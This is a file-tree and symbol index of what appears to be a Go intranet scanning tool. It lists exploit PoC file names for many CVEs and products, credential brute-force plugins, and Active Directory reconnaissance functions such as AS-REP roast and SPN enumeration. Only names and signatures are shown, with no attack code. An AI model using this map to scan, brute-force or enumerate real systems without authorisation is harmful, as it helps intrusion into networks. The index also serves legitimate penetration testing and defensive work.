jboss-cve-2010-1871.yml │ ├── jboss-unauth.yml │ ├── jeewms-showordownbyurl-fileread.yml │ ├── jellyfin-file-read-cve-2021-21402.yml │ ├── jenkins-cve-2018-1000600.yml │ ├── jenkins-cve-2018-1000861-rce.yml │ ├── jenkins-unauthorized-access.yml │ ├── jetty-cve-2021-28164.yml │ ├── jira-cve-2019-11581.yml │ ├── jira-cve-2019-8442.yml │ ├── jira-cve-2019-8449.yml │ ├── jira-cve-2020-14179.yml │ ├── jira-cve-2020-14181.yml │ ├── jira-ssrf-cve-2019-8451.yml │ ├── joomla-cnvd-2019-34135-rce.yml │ ├── joomla-component-vreview-sql.yml │ ├── joomla-cve-2015-7297-sqli.yml │ ├── joomla-cve-2017-8917-sqli.yml │ ├── joomla-cve-2018-7314-sql.yml │ ├── joomla-ext-zhbaidumap-cve-2018-6605-sqli.yml │ ├── jumpserver-unauth-rce.yml │ ├── jupyter-notebook-unauthorized-access.yml │ ├── kafka-manager-unauth.yml │ ├── kibana-cve-2018-17246.yml │ ├── kibana-unauth.yml │ ├── kingdee-eas-directory-traversal.yml │ ├── kingsoft-v8-default-password.yml │ ├── kingsoft-v8-file-read.yml │ ├── kong-cve-2020-11710-unauth.yml │ ├── kubernetes-unauth.yml │ ├── kyan-network-monitoring-account-password-leakage.yml │ ├── landray-oa-custom-jsp-fileread.yml │ ├── lanproxy-cve-2021-3019-lfi.yml │ ├── laravel-cve-2021-3129.yml │ ├── laravel-debug-info-leak.yml │ ├── laravel-improper-webdir.yml │ ├── maccms-rce.yml │ ├── maccmsv10-backdoor.yml │ ├── metinfo-cve-2019-16996-sqli.yml │ ├── metinfo-cve-2019-16997-sqli.yml │ ├── metinfo-cve-2019-17418-sqli.yml │ ├── metinfo-file-read.yml │ ├── metinfo-lfi-cnvd-2018-13393.yml │ ├── minio-default-password.yml │ ├── mongo-express-cve-2019-10758.yml │ ├── mpsec-isg1000-file-read.yml │ ├── msvod-sqli.yml │ ├── myucms-lfr.yml │ ├── nagio-cve-2018-10735.yml │ ├── nagio-cve-2018-10736.yml │ ├── nagio-cve-2018-10737.yml │ ├── nagio-cve-2018-10738.yml │ ├── natshell-arbitrary-file-read.yml │ ├── netentsec-icg-default-password.yml │ ├── netentsec-ngfw-rce.yml │ ├── netgear-cve-2017-5521.yml │ ├── nextjs-cve-2017-16877.yml │ ├── nexus-cve-2019-7238.yml │ ├── nexus-cve-2020-10199.yml │ ├── nexus-cve-2020-10204.yml │ ├── nexus-default-password.yml │ ├── nexusdb-cve-2020-24571-path-traversal.yml │ ├── nhttpd-cve-2019-16278.yml │ ├── node-red-dashboard-file-read-cve-2021-3223.yml │ ├── novnc-url-redirection-cve-2021-3654.yml │ ├── nps-default-password.yml │ ├── ns-asg-file-read.yml │ ├── nsfocus-uts-password-leak.yml │ ├── nuuo-file-inclusion.yml │ ├── odoo-file-read.yml │ ├── openfire-cve-2019-18394-ssrf.yml │ ├── opentsdb-cve-2020-35476-rce.yml │ ├── panabit-gateway-default-password.yml │ ├── panabit-ixcache-default-password.yml │ ├── pandorafms-cve-2019-20224-rce.yml │ ├── pbootcms-database-file-download.yml │ ├── php-cgi-cve-2012-1823.yml │ ├── phpcms-cve-2018-19127.yml │ ├── phpmyadmin-cve-2018-12613-file-inclusion.yml │ ├── phpmyadmin-setup-deserialization.yml │ ├── phpok-sqli.yml │ ├── phpshe-sqli.yml │ ├── phpstudy-backdoor-rce.yml │ ├── phpstudy-nginx-wrong-resolve.yml │ ├── phpunit-cve-2017-9841-rce.yml │ ├── powercreator-arbitrary-file-upload.yml │ ├── prometheus-url-redirection-cve-2021-29622.yml │ ├── pulse-cve-2019-11510.yml │ ├── pyspider-unauthorized-access.yml │ ├── qibocms-sqli.yml │ ├── qilin-bastion-host-rce.yml │ ├── qizhi-fortressaircraft-unauthorized.yml │ ├── qnap-cve-2019-7192.yml │ ├── rabbitmq-default-password.yml │ ├── rails-cve-2018-3760-rce.yml │ ├── razor-cve-2018-8770.yml │ ├── rconfig-cve-2019-16663.yml │ ├── resin-cnnvd-200705-315.yml │ ├── resin-inputfile-fileread-or-ssrf.yml │ ├── resin-viewfile-fileread.yml │ ├── rockmongo-default-password.yml │ ├── ruijie-eg-cli-rce.yml │ ├── ruijie-eg-file-read.yml │ ├── ruijie-eg-info-leak.yml │ ├── ruijie-eweb-rce-cnvd-2021-09650.yml │ ├── ruijie-nbr1300g-cli-password-leak.yml │ ├── ruijie-uac-cnvd-2021-14536.yml │ ├── ruoyi-management-fileread.yml │ ├── saltstack-cve-2020-16846.yml │ ├── saltstack-cve-2021-25282-file-write.yml │ ├── samsung-wea453e-default-pwd.yml │ ├── samsung-wea453e-rce.yml │ ├── samsung-wlan-ap-wea453e-rce.yml │ ├── sangfor-ad-download.php-filedownload.yml │ ├── sangfor-ba-rce.yml │ ├── sangfor-edr-arbitrary-admin-login.yml │ ├── sangfor-edr-cssp-rce.yml │ ├── sangfor-edr-tool-rce.yml │ ├── satellian-cve-2020-7980-rce.yml │ ├── seacms-before-v992-rce.yml │ ├── seacms-rce.yml │ ├── seacms-sqli.yml │ ├── seacms-v654-rce.yml │ ├── seacmsv645-command-exec.yml │ ├── secnet-ac-default-password.yml │ ├── seeyon-a6-employee-info-leak.yml │ ├── seeyon-a6-test-jsp-sql.yml │ ├── seeyon-ajax-unauthorized-access.yml │ ├── seeyon-cnvd-2020-62422-readfile.yml │ ├── seeyon-oa-a8-m-information-disclosure.yml │ ├── seeyon-oa-cookie-leak.yml │ ├── seeyon-session-leak.yml │ ├── seeyon-setextno-jsp-sql.yml │ ├── seeyon-unauthoried.yml │ ├── seeyon-wooyun-2015-0108235-sqli.yml │ ├── seeyon-wooyun-2015-148227.yml │ ├── shiro-key.yml │ ├── shiziyu-cms-apicontroller-sqli.yml │ ├── shopxo-cnvd-2021-15822.yml │ ├── showdoc-default-password.yml │ ├── showdoc-uploadfile.yml │ ├── skywalking-cve-2020-9483-sqli.yml │ ├── solarwinds-cve-2020-10148.yml │ ├── solr-cve-2017-12629-xxe.yml │ ├── solr-cve-2019-0193.yml │ ├── solr-fileread.yml │ ├── solr-velocity-template-rce.yml │ ├── sonarqube-cve-2020-27986-unauth.yml │ ├── sonicwall-ssl-vpn-rce.yml │ ├── spark-api-unauth.yml │ ├── spark-webui-unauth.yml │ ├── spon-ip-intercom-ping-rce.yml │ ├── spring-actuator-heapdump-file.yml │ ├── spring-cloud-cve-2020-5405.yml │ ├── spring-cloud-cve-2020-5410.yml │ ├── spring-core-rce.yml │ ├── spring-cve-2016-4977.yml │ ├── springboot-cve-2021-21234.yml │ ├── springboot-env-unauth.yml │ ├── springcloud-cve-2019-3799.yml │ ├── sql-file.yml │ ├── struts2-045.yml │ ├── struts2-046-1.yml │ ├── supervisord-cve-2017-11610.yml │ ├── swagger-ui-unauth.yml │ ├── tamronos-iptv-rce.yml │ ├── telecom-gateway-default-password.yml │ ├── tensorboard-unauth.yml │ ├── terramaster-cve-2020-15568.yml │ ├── terramaster-tos-rce-cve-2020-28188.yml │ ├── thinkadmin-v6-readfile.yml │ ├── thinkcmf-lfi.yml │ ├── thinkcmf-write-shell.yml │ ├── thinkphp-v6-file-write.yml │ ├── thinkphp5-controller-rce.yml │ ├── thinkphp5023-method-rce.yml │ ├── tianqing-info-leak.yml │ ├── tomcat-cve-2017-12615-rce.yml │ ├── tomcat-cve-2018-11759.yml │ ├── tomcat-manager-weak.yml │ ├── tongda-insert-sql-inject.yml │ ├── tongda-meeting-unauthorized-access.yml │ ├── tongda-oa-v11.9-api.ali.php-upload.yml │ ├── tongda-user-session-disclosure.yml │ ├── tongda-v2017-uploadfile.yml │ ├── tpshop-directory-traversal.yml │ ├── tpshop-sqli.yml │ ├── tvt-nvms-1000-file-read-cve-2019-20085.yml │ ├── typecho-rce.yml │ ├── ueditor-cnvd-2017-20077-file-upload.yml │ ├── uwsgi-cve-2018-7490.yml │ ├── vbulletin-cve-2019-16759-bypass.yml │ ├── vbulletin-cve-2019-16759.yml │ ├── vmware-vcenter-arbitrary-file-read.yml │ ├── vmware-vcenter-cve-2021-21985-rce.yml │ ├── vmware-vcenter-unauthorized-rce-cve-2021-21972.yml │ ├── vmware-vrealize-cve-2021-21975-ssrf.yml │ ├── weaver-E-Cology-getSqlData-sqli.yml │ ├── weaver-ebridge-file-read.yml │ ├── weaver-oa-eoffice-v9-upload-getshell.yml │ ├── weblogic-console-weak.yml │ ├── weblogic-cve-2017-10271.yml │ ├── weblogic-cve-2019-2725.yml │ ├── weblogic-cve-2019-2729-1.yml │ ├── weblogic-cve-2019-2729-2.yml │ ├── weblogic-cve-2020-14750.yml │ ├── weblogic-ssrf.yml │ ├── webmin-cve-2019-15107-rce.yml │ ├── weiphp-path-traversal.yml │ ├── weiphp-sql.yml │ ├── wifisky-default-password-cnvd-2021-39012.yml │ ├── wordpress-cve-2019-19985-infoleak.yml │ ├── wordpress-ext-adaptive-images-lfi.yml │ ├── wordpress-ext-mailpress-rce.yml │ ├── wuzhicms-v410-sqli.yml │ ├── xdcms-sql.yml │ ├── xiuno-bbs-cvnd-2019-01348-reinstallation.yml │ ├── xunchi-cnvd-2020-23735-file-read.yml │ ├── yapi-rce.yml │ ├── yccms-rce.yml │ ├── yonyou-grp-u8-sqli-to-rce.yml │ ├── yonyou-grp-u8-sqli.yml │ ├── yonyou-nc-arbitrary-file-upload.yml │ ├── yonyou-nc-bsh-servlet-bshservlet-rce.yml │ ├── yonyou-u8-oa-sqli.yml │ ├── youphptube-encoder-cve-2019-5127.yml │ ├── youphptube-encoder-cve-2019-5128.yml │ ├── youphptube-encoder-cve-2019-5129.yml │ ├── yungoucms-sqli.yml │ ├── zabbix-authentication-bypass.yml │ ├── zabbix-cve-2016-10134-sqli.yml │ ├── zabbix-default-password.yml │ ├── zcms-v3-sqli.yml │ ├── zeit-nodejs-cve-2020-5284-directory-traversal.yml │ ├── zeroshell-cve-2019-12725-rce.yml │ ├── zimbra-cve-2019-9670-xxe.yml │ └── zzcms-zsmanage-sqli.yml ├── go.mod ├── go.sum └── main.go
SYMBOL INDEX (764 symbols across 70 files)
FILE: Common/Config.go
type PocInfo (line 861) | type PocInfo struct
FILE: Common/Flag.go
function Banner (line 12) | func Banner() {
function Flag (line 60) | func Flag(Info *HostInfo) {
function FlagFromRemote (line 165) | func FlagFromRemote(info *HostInfo, argString string) error {
function parseCommandLineArgs (line 254) | func parseCommandLineArgs() {
function parseEnvironmentArgs (line 273) | func parseEnvironmentArgs(argsString string) ([]string, error) {
FILE: Common/Log.go
type ScanStatus (line 28) | type ScanStatus struct
type LogEntry (line 37) | type LogEntry struct
constant LogLevelAll (line 45) | LogLevelAll = "ALL"
constant LogLevelError (line 46) | LogLevelError = "ERROR"
constant LogLevelBase (line 47) | LogLevelBase = "BASE"
constant LogLevelInfo (line 48) | LogLevelInfo = "INFO"
constant LogLevelSuccess (line 49) | LogLevelSuccess = "SUCCESS"
constant LogLevelDebug (line 50) | LogLevelDebug = "DEBUG"
function InitLogger (line 63) | func InitLogger() {
function formatLogMessage (line 72) | func formatLogMessage(entry *LogEntry) string {
function printLog (line 110) | func printLog(entry *LogEntry) {
function clearAndWaitProgress (line 147) | func clearAndWaitProgress() {
function handleLog (line 155) | func handleLog(entry *LogEntry) {
function LogDebug (line 168) | func LogDebug(msg string) {
function LogBase (line 177) | func LogBase(msg string) {
function LogInfo (line 187) | func LogInfo(msg string) {
function LogSuccess (line 197) | func LogSuccess(result string) {
function LogError (line 213) | func LogError(errMsg string) {
function CheckErrs (line 234) | func CheckErrs(err error) error {
FILE: Common/Output.go
type OutputManager (line 18) | type OutputManager struct
method initialize (line 97) | func (om *OutputManager) initialize() error {
method saveResult (line 162) | func (om *OutputManager) saveResult(result *ScanResult) error {
method getResult (line 191) | func (om *OutputManager) getResult() ([]*ScanResult, error) {
method writeTxt (line 248) | func (om *OutputManager) writeTxt(result *ScanResult) error {
method writeJson (line 270) | func (om *OutputManager) writeJson(result *ScanResult) error {
method writeCsv (line 274) | func (om *OutputManager) writeCsv(result *ScanResult) error {
type ResultType (line 29) | type ResultType
constant HOST (line 32) | HOST ResultType = "HOST"
constant PORT (line 33) | PORT ResultType = "PORT"
constant SERVICE (line 34) | SERVICE ResultType = "SERVICE"
constant VULN (line 35) | VULN ResultType = "VULN"
type ScanResult (line 39) | type ScanResult struct
function InitOutput (line 48) | func InitOutput() error {
function SaveResult (line 141) | func SaveResult(result *ScanResult) error {
function GetResults (line 150) | func GetResults() ([]*ScanResult, error) {
function CloseOutput (line 296) | func CloseOutput() error {
FILE: Common/Parse.go
function Parse (line 15) | func Parse(Info *HostInfo) error {
function ParseUser (line 34) | func ParseUser() error {
function ParsePass (line 79) | func ParsePass(Info *HostInfo) error {
function parsePasswords (line 104) | func parsePasswords() {
function parseHashes (line 139) | func parseHashes() {
function parseURLs (line 169) | func parseURLs() {
function parseHosts (line 210) | func parseHosts(Info *HostInfo) error {
function parsePorts (line 251) | func parsePorts() error {
function parseExcludePorts (line 280) | func parseExcludePorts() {
function ReadFileLines (line 290) | func ReadFileLines(filename string) ([]string, error) {
function ParseInput (line 325) | func ParseInput(Info *HostInfo) error {
function validateScanMode (line 355) | func validateScanMode(Info *HostInfo) error {
function processPortsConfig (line 382) | func processPortsConfig() {
function processExtraCredentials (line 406) | func processExtraCredentials() {
function processProxySettings (line 428) | func processProxySettings() error {
function setupSocks5Proxy (line 448) | func setupSocks5Proxy() error {
function setupHttpProxy (line 475) | func setupHttpProxy() error {
function processHashValues (line 509) | func processHashValues() error {
function RemoveDuplicate (line 538) | func RemoveDuplicate(old []string) []string {
FILE: Common/ParseIP.go
function ParseIP (line 30) | func ParseIP(host string, filename string, nohosts ...string) (hosts []s...
function parseIPList (line 77) | func parseIPList(ipList string) []string {
function parseSingleIP (line 108) | func parseSingleIP(ip string) []string {
function parseCIDR (line 152) | func parseCIDR(cidr string) []string {
function calculateIPRange (line 174) | func calculateIPRange(cidr *net.IPNet) string {
function parseIPRange (line 204) | func parseIPRange(ipRange string) []string {
function parseShortIPRange (line 237) | func parseShortIPRange(startIP, endSuffix string) []string {
function parseFullIPRange (line 279) | func parseFullIPRange(startIP, endIP string) []string {
function parseSubnet8 (line 347) | func parseSubnet8(subnet string) []string {
function readIPFile (line 405) | func readIPFile(filename string) ([]string, error) {
function excludeHosts (line 477) | func excludeHosts(hosts []string, nohosts []string) []string {
function removeDuplicateIPs (line 519) | func removeDuplicateIPs(ips []string) []string {
function randomInt (line 544) | func randomInt(min, max int) int {
FILE: Common/ParsePort.go
function ParsePort (line 10) | func ParsePort(ports string) []int {
function removeDuplicate (line 81) | func removeDuplicate(old []int) []int {
FILE: Common/Ports.go
function ParsePortsFromString (line 14) | func ParsePortsFromString(portsStr string) []int {
FILE: Common/Proxy.go
function WrapperTcpWithTimeout (line 14) | func WrapperTcpWithTimeout(network, address string, timeout time.Duratio...
function WrapperTCP (line 20) | func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn,...
function Socks5Dialer (line 45) | func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) {
FILE: Common/Types.go
type HostInfo (line 4) | type HostInfo struct
constant PluginTypeService (line 14) | PluginTypeService = "service"
constant PluginTypeWeb (line 15) | PluginTypeWeb = "web"
constant PluginTypeLocal (line 16) | PluginTypeLocal = "local"
type ScanPlugin (line 20) | type ScanPlugin struct
method HasType (line 28) | func (p ScanPlugin) HasType(typeName string) bool {
method HasPort (line 38) | func (p *ScanPlugin) HasPort(port int) bool {
function RegisterPlugin (line 57) | func RegisterPlugin(name string, plugin ScanPlugin) {
FILE: Common/i18n.go
constant LangZH (line 10) | LangZH = "zh"
constant LangEN (line 11) | LangEN = "en"
constant LangJA (line 12) | LangJA = "ja"
constant LangRU (line 13) | LangRU = "ru"
function SetLanguage (line 1096) | func SetLanguage() {
function GetText (line 1107) | func GetText(key string, args ...interface{}) string {
FILE: Core/ICMP.go
function CheckLive (line 23) | func CheckLive(hostslist []string, Ping bool) []string {
function IsContain (line 49) | func IsContain(items []string, item string) bool {
function handleAliveHosts (line 58) | func handleAliveHosts(chanHosts chan string, hostslist []string, isPing ...
function probeWithICMP (line 91) | func probeWithICMP(hostslist []string, chanHosts chan string) {
function printAliveStats (line 119) | func printAliveStats(hostslist []string) {
function RunIcmp1 (line 138) | func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan ...
function RunIcmp2 (line 189) | func RunIcmp2(hostslist []string, chanHosts chan string) {
function icmpalive (line 222) | func icmpalive(host string) bool {
function RunPing (line 253) | func RunPing(hostslist []string, chanHosts chan string) {
function ExecCommandPing (line 280) | func ExecCommandPing(ip string) bool {
function makemsg (line 319) | func makemsg(host string) []byte {
function checkSum (line 342) | func checkSum(msg []byte) uint16 {
function genSequence (line 365) | func genSequence(v int16) (byte, byte) {
function genIdentifier (line 372) | func genIdentifier(host string) (byte, byte) {
function ArrayCountValueTop (line 377) | func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop...
FILE: Core/LocalScanner.go
type LocalScanStrategy (line 11) | type LocalScanStrategy struct
method Name (line 19) | func (s *LocalScanStrategy) Name() string {
method Description (line 24) | func (s *LocalScanStrategy) Description() string {
method Execute (line 29) | func (s *LocalScanStrategy) Execute(info Common.HostInfo, ch *chan str...
method PrepareTargets (line 49) | func (s *LocalScanStrategy) PrepareTargets(info Common.HostInfo) []Com...
method GetPlugins (line 55) | func (s *LocalScanStrategy) GetPlugins() ([]string, bool) {
method LogPluginInfo (line 79) | func (s *LocalScanStrategy) LogPluginInfo() {
method IsPluginApplicable (line 105) | func (s *LocalScanStrategy) IsPluginApplicable(plugin Common.ScanPlugi...
function NewLocalScanStrategy (line 14) | func NewLocalScanStrategy() *LocalScanStrategy {
FILE: Core/PluginUtils.go
function parsePluginList (line 10) | func parsePluginList(pluginStr string) []string {
function validateScanPlugins (line 33) | func validateScanPlugins() error {
FILE: Core/PortFinger.go
type VScan (line 18) | type VScan struct
method parseProbesFromContent (line 302) | func (v *VScan) parseProbesFromContent(content string) {
method parseProbesToMapKName (line 371) | func (v *VScan) parseProbesToMapKName() {
method SetusedProbes (line 381) | func (v *VScan) SetusedProbes() {
method Init (line 871) | func (v *VScan) Init() {
type Probe (line 26) | type Probe struct
method getDirectiveSyntax (line 93) | func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
method parseProbeInfo (line 122) | func (p *Probe) parseProbeInfo(probeStr string) {
method fromString (line 156) | func (p *Probe) fromString(data string) error {
method parsePorts (line 216) | func (p *Probe) parsePorts(data string) {
method parseSSLPorts (line 222) | func (p *Probe) parseSSLPorts(data string) {
method parseTotalWaitMS (line 228) | func (p *Probe) parseTotalWaitMS(data string) {
method parseTCPWrappedMS (line 239) | func (p *Probe) parseTCPWrappedMS(data string) {
method parseRarity (line 250) | func (p *Probe) parseRarity(data string) {
method parseFallback (line 261) | func (p *Probe) parseFallback(data string) {
method getMatch (line 411) | func (p *Probe) getMatch(data string) (match Match, err error) {
method getSoftMatch (line 454) | func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
method ContainsPort (line 578) | func (p *Probe) ContainsPort(testPort int) bool {
type Match (line 41) | type Match struct
method MatchPattern (line 622) | func (m *Match) MatchPattern(response []byte) bool {
method ParseVersionInfo (line 637) | func (m *Match) ParseVersionInfo(response []byte) Extras {
type Directive (line 50) | type Directive struct
type Extras (line 57) | type Extras struct
method ToMap (line 698) | func (e *Extras) ToMap() map[string]string {
function init (line 67) | func init() {
function isHexCode (line 267) | func isHexCode(b []byte) bool {
function isOctalCode (line 273) | func isOctalCode(b []byte) bool {
function isStructCode (line 279) | func isStructCode(b []byte) bool {
function isReChar (line 285) | func isReChar(n int64) bool {
function isOtherEscapeCode (line 296) | func isOtherEscapeCode(b []byte) bool {
function DecodePattern (line 497) | func DecodePattern(s string) ([]byte, error) {
type ProbesRarity (line 553) | type ProbesRarity
method Len (line 556) | func (ps ProbesRarity) Len() int {
method Swap (line 561) | func (ps ProbesRarity) Swap(i, j int) {
method Less (line 566) | func (ps ProbesRarity) Less(i, j int) bool {
type Target (line 571) | type Target struct
method GetAddress (line 799) | func (t *Target) GetAddress() string {
function DecodeData (line 725) | func DecodeData(s string) ([]byte, error) {
function trimBanner (line 806) | func trimBanner(buf []byte) string {
FILE: Core/PortInfo.go
type ServiceInfo (line 13) | type ServiceInfo struct
type Result (line 21) | type Result struct
type Service (line 30) | type Service struct
type Info (line 36) | type Info struct
method PortInfo (line 100) | func (i *Info) PortInfo() {
method tryProbes (line 143) | func (i *Info) tryProbes(response []byte, probes []*Probe) bool {
method processPortMapProbes (line 156) | func (i *Info) processPortMapProbes(usedProbes map[string]struct{}) bo...
method processDefaultProbes (line 206) | func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bo...
method GetInfo (line 269) | func (i *Info) GetInfo(response []byte, probe *Probe) {
method processMatches (line 318) | func (i *Info) processMatches(response []byte, matches *[]Match) (bool...
method handleHardMatch (line 342) | func (i *Info) handleHardMatch(response []byte, match *Match) {
method handleNoMatch (line 364) | func (i *Info) handleNoMatch(response []byte, result *Result, softFoun...
method Connect (line 389) | func (i *Info) Connect(msg []byte) []byte {
method Write (line 398) | func (i *Info) Write(msg []byte) error {
method Read (line 427) | func (i *Info) Read() ([]byte, error) {
type PortInfoScanner (line 45) | type PortInfoScanner struct
method Identify (line 78) | func (s *PortInfoScanner) Identify() (*ServiceInfo, error) {
function NewPortInfoScanner (line 60) | func NewPortInfoScanner(addr string, port int, conn net.Conn, timeout ti...
constant WrTimeout (line 395) | WrTimeout = 5
function readFromConn (line 450) | func readFromConn(conn net.Conn) ([]byte, error) {
FILE: Core/PortScan.go
function EnhancedPortScan (line 17) | func EnhancedPortScan(hosts []string, ports string, timeout int64) []str...
FILE: Core/Registry.go
function init (line 11) | func init() {
function GetAllPlugins (line 282) | func GetAllPlugins() []string {
FILE: Core/Scanner.go
type ScanTask (line 16) | type ScanTask struct
type ScanStrategy (line 22) | type ScanStrategy interface
type Scanner (line 40) | type Scanner struct
method selectStrategy (line 52) | func (s *Scanner) selectStrategy(info Common.HostInfo) {
method Scan (line 67) | func (s *Scanner) Scan(info Common.HostInfo) {
method finishScan (line 84) | func (s *Scanner) finishScan() {
function NewScanner (line 45) | func NewScanner(info Common.HostInfo) *Scanner {
function ExecuteScanTasks (line 93) | func ExecuteScanTasks(targets []Common.HostInfo, strategy ScanStrategy, ...
function prepareScanTasks (line 117) | func prepareScanTasks(targets []Common.HostInfo, pluginsToRun []string, ...
function logScanPlan (line 146) | func logScanPlan(tasks []ScanTask) {
function initProgressBar (line 165) | func initProgressBar(totalTasks int) {
function scheduleScanTask (line 185) | func scheduleScanTask(pluginName string, target Common.HostInfo, ch *cha...
function executeSingleScan (line 217) | func executeSingleScan(pluginName string, info Common.HostInfo) {
function updateProgress (line 230) | func updateProgress() {
function Scan (line 243) | func Scan(info Common.HostInfo) {
FILE: Core/ServiceScanner.go
type ServiceScanStrategy (line 11) | type ServiceScanStrategy struct
method Name (line 19) | func (s *ServiceScanStrategy) Name() string {
method Description (line 24) | func (s *ServiceScanStrategy) Description() string {
method Execute (line 29) | func (s *ServiceScanStrategy) Execute(info Common.HostInfo, ch *chan s...
method performHostScan (line 59) | func (s *ServiceScanStrategy) performHostScan(hosts []string, info Com...
method shouldPerformLivenessCheck (line 85) | func (s *ServiceScanStrategy) shouldPerformLivenessCheck(hosts []strin...
method discoverAlivePorts (line 90) | func (s *ServiceScanStrategy) discoverAlivePorts(hosts []string) []str...
method PrepareTargets (line 111) | func (s *ServiceScanStrategy) PrepareTargets(info Common.HostInfo) []C...
method convertToTargetInfos (line 139) | func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, bas...
method GetPlugins (line 159) | func (s *ServiceScanStrategy) GetPlugins() ([]string, bool) {
method LogPluginInfo (line 174) | func (s *ServiceScanStrategy) LogPluginInfo() {
method IsPluginApplicable (line 200) | func (s *ServiceScanStrategy) IsPluginApplicable(plugin Common.ScanPlu...
function NewServiceScanStrategy (line 14) | func NewServiceScanStrategy() *ServiceScanStrategy {
FILE: Core/WebScanner.go
type WebScanStrategy (line 11) | type WebScanStrategy struct
method Name (line 19) | func (s *WebScanStrategy) Name() string {
method Description (line 24) | func (s *WebScanStrategy) Description() string {
method Execute (line 29) | func (s *WebScanStrategy) Execute(info Common.HostInfo, ch *chan struc...
method PrepareTargets (line 49) | func (s *WebScanStrategy) PrepareTargets(baseInfo Common.HostInfo) []C...
method GetPlugins (line 66) | func (s *WebScanStrategy) GetPlugins() ([]string, bool) {
method LogPluginInfo (line 92) | func (s *WebScanStrategy) LogPluginInfo() {
method IsPluginApplicable (line 118) | func (s *WebScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin,...
function NewWebScanStrategy (line 14) | func NewWebScanStrategy() *WebScanStrategy {
FILE: Plugins/ActiveMQ.go
type ActiveMQCredential (line 14) | type ActiveMQCredential struct
type ActiveMQScanResult (line 20) | type ActiveMQScanResult struct
function ActiveMQScan (line 26) | func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
function generateActiveMQCredentials (line 74) | func generateActiveMQCredentials(users, passwords []string) []ActiveMQCr...
function concurrentActiveMQScan (line 89) | func concurrentActiveMQScan(ctx context.Context, info *Common.HostInfo, ...
function tryActiveCredential (line 165) | func tryActiveCredential(ctx context.Context, info *Common.HostInfo, cre...
function ActiveMQConn (line 212) | func ActiveMQConn(ctx context.Context, info *Common.HostInfo, user strin...
function saveActiveMQSuccess (line 298) | func saveActiveMQSuccess(info *Common.HostInfo, target string, credentia...
FILE: Plugins/Base.go
function ReadBytes (line 14) | func ReadBytes(conn net.Conn) ([]byte, error) {
function AesEncrypt (line 48) | func AesEncrypt(orig string, key string) (string, error) {
function AesDecrypt (line 75) | func AesDecrypt(crypted string, key string) (string, error) {
function PKCS7Padding (line 108) | func PKCS7Padding(data []byte, blockSize int) []byte {
function PKCS7UnPadding (line 115) | func PKCS7UnPadding(data []byte) ([]byte, error) {
FILE: Plugins/Cassandra.go
type CassandraCredential (line 15) | type CassandraCredential struct
type CassandraScanResult (line 21) | type CassandraScanResult struct
function CassandraScan (line 28) | func CassandraScan(info *Common.HostInfo) (tmperr error) {
function generateCassandraCredentials (line 76) | func generateCassandraCredentials(users, passwords []string) []Cassandra...
function concurrentCassandraScan (line 91) | func concurrentCassandraScan(ctx context.Context, info *Common.HostInfo,...
function tryCassandraCredential (line 167) | func tryCassandraCredential(ctx context.Context, info *Common.HostInfo, ...
function CassandraConn (line 215) | func CassandraConn(ctx context.Context, info *Common.HostInfo, user stri...
function saveCassandraSuccess (line 306) | func saveCassandraSuccess(info *Common.HostInfo, target string, credenti...
FILE: Plugins/DCInfo.go
type DomainInfo (line 15) | type DomainInfo struct
method Close (line 20) | func (d *DomainInfo) Close() {
method GetCAComputers (line 26) | func (d *DomainInfo) GetCAComputers() ([]string, error) {
method GetExchangeServers (line 65) | func (d *DomainInfo) GetExchangeServers() ([]string, error) {
method GetMsSqlServers (line 111) | func (d *DomainInfo) GetMsSqlServers() ([]string, error) {
method GetSpecialComputers (line 150) | func (d *DomainInfo) GetSpecialComputers() (map[string][]string, error) {
method GetDomainUsers (line 226) | func (d *DomainInfo) GetDomainUsers() ([]string, error) {
method GetDomainAdmins (line 265) | func (d *DomainInfo) GetDomainAdmins() ([]string, error) {
method GetOUs (line 329) | func (d *DomainInfo) GetOUs() ([]string, error) {
method GetComputers (line 368) | func (d *DomainInfo) GetComputers() ([]Computer, error) {
method GetTrustDomains (line 431) | func (d *DomainInfo) GetTrustDomains() ([]string, error) {
method GetAdminGroups (line 470) | func (d *DomainInfo) GetAdminGroups() (map[string][]string, error) {
method GetDelegation (line 525) | func (d *DomainInfo) GetDelegation() (map[string][]string, error) {
method GetAsrepRoastUsers (line 584) | func (d *DomainInfo) GetAsrepRoastUsers() ([]string, error) {
method GetPasswordPolicy (line 623) | func (d *DomainInfo) GetPasswordPolicy() (map[string]string, error) {
method GetSPNs (line 705) | func (d *DomainInfo) GetSPNs() (map[string][]string, error) {
type Computer (line 425) | type Computer struct
function getDomainController (line 751) | func getDomainController() (string, error) {
function NewDomainInfo (line 812) | func NewDomainInfo() (*DomainInfo, error) {
function DCInfoScan (line 892) | func DCInfoScan(info *Common.HostInfo) (err error) {
function getDomainDN (line 1043) | func getDomainDN(server string) string {
FILE: Plugins/DCInfoUnix.go
function DCInfoScan (line 7) | func DCInfoScan(info *Common.HostInfo) (err error) {
FILE: Plugins/Elasticsearch.go
type ElasticCredential (line 16) | type ElasticCredential struct
type ElasticScanResult (line 22) | type ElasticScanResult struct
function ElasticScan (line 29) | func ElasticScan(info *Common.HostInfo) error {
function concurrentElasticScan (line 86) | func concurrentElasticScan(ctx context.Context, info *Common.HostInfo, c...
function tryElasticCredential (line 162) | func tryElasticCredential(ctx context.Context, info *Common.HostInfo, cr...
function ElasticConn (line 207) | func ElasticConn(ctx context.Context, info *Common.HostInfo, user string...
function saveElasticResult (line 272) | func saveElasticResult(info *Common.HostInfo, target string, credential ...
FILE: Plugins/FTP.go
type FtpCredential (line 14) | type FtpCredential struct
type FtpScanResult (line 20) | type FtpScanResult struct
function FtpScan (line 28) | func FtpScan(info *Common.HostInfo) error {
function concurrentFtpScan (line 85) | func concurrentFtpScan(ctx context.Context, info *Common.HostInfo, crede...
function tryFtpCredential (line 161) | func tryFtpCredential(ctx context.Context, info *Common.HostInfo, creden...
function FtpConn (line 263) | func FtpConn(info *Common.HostInfo, user string, pass string) (success b...
function saveFtpResult (line 299) | func saveFtpResult(info *Common.HostInfo, target string, result *FtpScan...
function min (line 340) | func min(a, b int) int {
FILE: Plugins/FindNet.go
